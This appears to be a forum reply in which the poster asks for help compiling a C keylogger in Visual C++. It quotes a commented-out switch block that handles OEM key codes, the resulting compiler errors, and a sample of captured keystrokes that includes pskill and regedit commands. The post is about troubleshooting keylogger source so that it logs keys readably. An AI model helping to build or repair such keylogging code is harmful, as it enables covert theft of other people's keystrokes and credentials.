nice job on all your project and thanks for sharring!

not wanting to bring keylogger up to the top again ill mention it here

using ms-vcpp i had a few errors i couldn't correct without REMing out an entire section:

/*case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;

threw

case VK_OEM_7:
fputs("['\"]",file);
fclose(file);
break;*/

C:\Program Files\Microsoft Visual Studio\MyProjects\kl\keylogger.c(102) : error C2065: 'VK_OEM_1' : undeclared identifier
C:\Program Files\Microsoft Visual Studio\MyProjects\kl\keylogger.c(102) : error C2051: case expression not constant

these errors doesn't make any sense to be, i dont see any differance between 'OEM' and the others but without these included the log is impossible to read. here's part of it:

[ENTER]pskill javaw
[ENTER]pskill tomcat
[ENTER](
[ENTER]regedit
[ENTER]regedit
[ENTER]((('so'mi'wi'('ru[CTRL][CTRL][CTRL][CTRL][CTRL][CTRL][CTRL]
...for about 50lines...[CTRL][CTRL][CTRL][CTRL][CTRL][CTRL][CTRL].explorer
[ENTER]ghostinstallsspybot
[ENTER]exit
[ENTER]pskill keylog[BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE]log
[ENTER]